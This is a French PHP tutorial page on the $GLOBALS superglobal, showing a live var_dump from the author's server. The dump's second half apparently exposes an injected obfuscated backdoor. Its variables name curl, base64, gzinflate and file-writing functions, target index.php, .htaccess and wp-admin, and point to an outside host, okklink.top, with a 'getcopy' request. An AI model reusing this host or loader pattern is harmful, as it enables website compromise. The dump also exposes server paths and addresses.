$GLOBALS
$GLOBALS — Référence toutes les variables disponibles dans un contexte global
Description
Un tableau associatif contenant les références sur toutes les variables globales actuellement définies dans le contexte d'exécution global du script. Les noms des variables sont les index du tableau.
Exemple :
var_dump($GLOBALS);
Donne actuellement sur ce serveur :
array(73) {
["_GET"]=>
array(0) {
}
["_POST"]=>
array(0) {
}
["_COOKIE"]=>
array(0) {
}
["_FILES"]=>
array(0) {
}
["_SERVER"]=>
array(49) {
["USER"]=>
string(8) "belzoras"
["FCGI_ROLE"]=>
string(9) "RESPONDER"
["APP_ENGINE"]=>
string(3) "php"
["APP_ENGINE_VERSION"]=>
string(3) "5.4"
["ENVIRONMENT"]=>
string(10) "production"
["DOCUMENT_ROOT"]=>
string(28) "/home/belzoras/www/Formation"
["UNIQUE_ID"]=>
string(27) "abcC7qBcUHjxMaFa@OqDrgAAAX0"
["GEOIP_COUNTRY_CODE"]=>
string(2) "US"
["GEOIP_COUNTRY_NAME"]=>
string(13) "United States"
["GEOIP_REGION"]=>
string(2) "CA"
["GEOIP_CITY"]=>
string(11) "Santa Paula"
["GEOIP_DMA_CODE"]=>
string(3) "803"
["GEOIP_AREA_CODE"]=>
string(3) "805"
["GEOIP_LATITUDE"]=>
string(9) "34.355598"
["GEOIP_LONGITUDE"]=>
string(11) "-119.070099"
["SCRIPT_URL"]=>
string(87) "/_other_lessons/php-intro/courses/01-PHP/02-Les variables Superglobales/01-$GLOBALS.php"
["SCRIPT_URI"]=>
string(116) "https://3wa.belzorash.com:443/_other_lessons/php-intro/courses/01-PHP/02-Les variables Superglobales/01-$GLOBALS.php"
["HTTPS"]=>
string(2) "on"
["CFG_CLUSTER"]=>
string(10) "cluster110"
["HTTP_HOST"]=>
string(17) "3wa.belzorash.com"
["HTTP_X_PREDICTOR"]=>
string(1) "1"
["HTTP_X_FORWARDED_FOR"]=>
string(13) "216.73.216.20"
["HTTP_X_FORWARDED_PROTO"]=>
string(5) "https"
["HTTP_X_OVHREQUEST_ID"]=>
string(32) "52cfda39885c4e247d73ce8d9f0efa72"
["HTTP_ACCEPT"]=>
string(3) "*/*"
["HTTP_USER_AGENT"]=>
string(103) "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
["HTTP_ACCEPT_ENCODING"]=>
string(23) "gzip, br, zstd, deflate"
["HTTP_REMOTE_IP"]=>
string(13) "216.73.216.20"
["SERVER_SIGNATURE"]=>
string(0) ""
["SERVER_SOFTWARE"]=>
string(6) "Apache"
["SERVER_NAME"]=>
string(17) "3wa.belzorash.com"
["SERVER_ADDR"]=>
string(11) "10.110.20.9"
["SERVER_PORT"]=>
string(3) "443"
["REMOTE_ADDR"]=>
string(13) "216.73.216.20"
["SERVER_ADMIN"]=>
string(28) "postmaster@3wa.belzorash.com"
["SCRIPT_FILENAME"]=>
string(115) "/home/belzoras/www/Formation/_other_lessons/php-intro/courses/01-PHP/02-Les variables Superglobales/01-$GLOBALS.php"
["REMOTE_PORT"]=>
string(5) "18612"
["GATEWAY_INTERFACE"]=>
string(7) "CGI/1.1"
["SERVER_PROTOCOL"]=>
string(8) "HTTP/1.1"
["REQUEST_METHOD"]=>
string(3) "GET"
["QUERY_STRING"]=>
string(0) ""
["REQUEST_URI"]=>
string(91) "/_other_lessons/php-intro/courses/01-PHP/02-Les%20variables%20Superglobales/01-$GLOBALS.php"
["SCRIPT_NAME"]=>
string(87) "/_other_lessons/php-intro/courses/01-PHP/02-Les variables Superglobales/01-$GLOBALS.php"
["PHP_SELF"]=>
string(87) "/_other_lessons/php-intro/courses/01-PHP/02-Les variables Superglobales/01-$GLOBALS.php"
["REQUEST_TIME_FLOAT"]=>
float(1773601518.792)
["REQUEST_TIME"]=>
int(1773601518)
["argv"]=>
array(0) {
}
["argc"]=>
int(0)
["register_shutdown_function"]=>
int(1)
}
["_REQUEST"]=>
array(0) {
}
["_ENV"]=>
array(48) {
["USER"]=>
string(8) "belzoras"
["FCGI_ROLE"]=>
string(9) "RESPONDER"
["APP_ENGINE"]=>
string(3) "php"
["APP_ENGINE_VERSION"]=>
string(3) "5.4"
["ENVIRONMENT"]=>
string(10) "production"
["DOCUMENT_ROOT"]=>
string(28) "/home/belzoras/www/Formation"
["UNIQUE_ID"]=>
string(27) "abcC7qBcUHjxMaFa@OqDrgAAAX0"
["GEOIP_COUNTRY_CODE"]=>
string(2) "US"
["GEOIP_COUNTRY_NAME"]=>
string(13) "United States"
["GEOIP_REGION"]=>
string(2) "CA"
["GEOIP_CITY"]=>
string(11) "Santa Paula"
["GEOIP_DMA_CODE"]=>
string(3) "803"
["GEOIP_AREA_CODE"]=>
string(3) "805"
["GEOIP_LATITUDE"]=>
string(9) "34.355598"
["GEOIP_LONGITUDE"]=>
string(11) "-119.070099"
["SCRIPT_URL"]=>
string(87) "/_other_lessons/php-intro/courses/01-PHP/02-Les variables Superglobales/01-$GLOBALS.php"
["SCRIPT_URI"]=>
string(116) "https://3wa.belzorash.com:443/_other_lessons/php-intro/courses/01-PHP/02-Les variables Superglobales/01-$GLOBALS.php"
["HTTPS"]=>
string(2) "on"
["CFG_CLUSTER"]=>
string(10) "cluster110"
["HTTP_HOST"]=>
string(17) "3wa.belzorash.com"
["HTTP_X_PREDICTOR"]=>
string(1) "1"
["HTTP_X_FORWARDED_FOR"]=>
string(13) "216.73.216.20"
["HTTP_X_FORWARDED_PROTO"]=>
string(5) "https"
["HTTP_X_OVHREQUEST_ID"]=>
string(32) "52cfda39885c4e247d73ce8d9f0efa72"
["HTTP_ACCEPT"]=>
string(3) "*/*"
["HTTP_USER_AGENT"]=>
string(103) "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
["HTTP_ACCEPT_ENCODING"]=>
string(23) "gzip, br, zstd, deflate"
["HTTP_REMOTE_IP"]=>
string(13) "216.73.216.20"
["SERVER_SIGNATURE"]=>
string(0) ""
["SERVER_SOFTWARE"]=>
string(6) "Apache"
["SERVER_NAME"]=>
string(17) "3wa.belzorash.com"
["SERVER_ADDR"]=>
string(11) "10.110.20.9"
["SERVER_PORT"]=>
string(3) "443"
["REMOTE_ADDR"]=>
string(13) "216.73.216.20"
["SERVER_ADMIN"]=>
string(28) "postmaster@3wa.belzorash.com"
["SCRIPT_FILENAME"]=>
string(115) "/home/belzoras/www/Formation/_other_lessons/php-intro/courses/01-PHP/02-Les variables Superglobales/01-$GLOBALS.php"
["REMOTE_PORT"]=>
string(5) "18612"
["GATEWAY_INTERFACE"]=>
string(7) "CGI/1.1"
["SERVER_PROTOCOL"]=>
string(8) "HTTP/1.1"
["REQUEST_METHOD"]=>
string(3) "GET"
["QUERY_STRING"]=>
string(0) ""
["REQUEST_URI"]=>
string(91) "/_other_lessons/php-intro/courses/01-PHP/02-Les%20variables%20Superglobales/01-$GLOBALS.php"
["SCRIPT_NAME"]=>
string(87) "/_other_lessons/php-intro/courses/01-PHP/02-Les variables Superglobales/01-$GLOBALS.php"
["PHP_SELF"]=>
string(87) "/_other_lessons/php-intro/courses/01-PHP/02-Les variables Superglobales/01-$GLOBALS.php"
["REQUEST_TIME_FLOAT"]=>
float(1773601518.792)
["REQUEST_TIME"]=>
int(1773601518)
["argv"]=>
array(0) {
}
["argc"]=>
int(0)
}
["GLOBALS"]=>
*RECURSION*
["J4djk"]=>
string(5) ""
["huaOJ"]=>
string(8) "/^cli/si"
["Q7FSm"]=>
string(9) "strtotime"
["tkyNj"]=>
string(15) "function_exists"
["le6g1"]=>
string(3) "cur"
["AhBNU"]=>
string(9) "curl_init"
["QydK0"]=>
string(11) "curl_setopt"
["gPOF5"]=>
string(9) "curl_exec"
["iwfAP"]=>
string(10) "curl_close"
["DORoV"]=>
string(16) "http_build_query"
["MhTIX"]=>
string(3) "md5"
["vbt1Y"]=>
string(8) "md5_file"
["PKMm7"]=>
string(7) "is_file"
["qjAK2"]=>
string(6) "is_dir"
["spfUp"]=>
string(5) "mkdir"
["HH1HZ"]=>
string(17) "file_get_contents"
["DR4rp"]=>
string(17) "file_put_contents"
["KDcLu"]=>
string(5) "touch"
["xS8DV"]=>
string(5) "chmod"
["L3Qwt"]=>
string(13) "base64_decode"
["MIh5N"]=>
string(9) "gzinflate"
["RpkLV"]=>
string(11) "unserialize"
["F3G3B"]=>
string(6) "intval"
["mmShn"]=>
string(6) "decoct"
["iSMwa"]=>
string(6) "strlen"
["vTeXJ"]=>
string(15) "version_compare"
["CoSGx"]=>
string(7) "defined"
["wv9Ig"]=>
string(10) "-1363 days"
["PShG_"]=>
int(1655834718)
["x0CSu"]=>
string(9) "HTTP_HOST"
["Y5cZH"]=>
string(13) "DOCUMENT_ROOT"
["LOLkL"]=>
string(6) "5.4.0;"
["P4139"]=>
string(17) "3wa.belzorash.com"
["nHQe_"]=>
string(28) "/home/belzoras/www/Formation"
["ocF0w"]=>
string(37) "/home/belzoras/www/Formation/wp-admin"
["sVnDj"]=>
string(6) "342c45"
["L474W"]=>
string(35) "/home/belzoras/www/Formation/342c45"
["LYlAw"]=>
string(44) "/home/belzoras/www/Formation/wp-admin/342c45"
["RDkKv"]=>
array(0) {
}
["N__ZL"]=>
int(32)
["l6o74"]=>
int(8)
["eb2Uu"]=>
int(493)
["Vjvu_"]=>
int(365)
["YKWP5"]=>
string(27) "HTTP/1.1 406 Not Acceptable"
["uz9bL"]=>
string(41) "/home/belzoras/www/Formation/xmlrpc.php.0"
["y6Dil"]=>
string(5) "fopen"
["pzU4s"]=>
string(5) "flock"
["bX79j"]=>
string(6) "fclose"
["FCJJO"]=>
string(20) "https://okklink.top/"
["fd50r"]=>
string(26) "register_shutdown_function"
["FSKjX"]=>
string(13) "WP_USE_THEMES"
["gQtVG"]=>
string(8) "WP_ADMIN"
["EvUsr"]=>
bool(false)
["qwM6z"]=>
array(0) {
}
["SCBgM"]=>
array(0) {
}
["CUa7Y"]=>
bool(false)
["CZpCY"]=>
resource(2) of type (stream)
["AW98J"]=>
string(38) "/home/belzoras/www/Formation/index.php"
["vp5Fj"]=>
string(38) "/home/belzoras/www/Formation/.htaccess"
["z2Yll"]=>
string(38) "/home/belzoras/www/Formation/.user.ini"
["tCAxo"]=>
int(1)
["B5AMu"]=>
string(52) "https://okklink.top/?act=getcopy&h=3wa.belzorash.com"
["JKloV"]=>
string(0) ""
["QKdX3"]=>
resource(3) of type (Unknown)
["jap8Z"]=>
bool(false)
}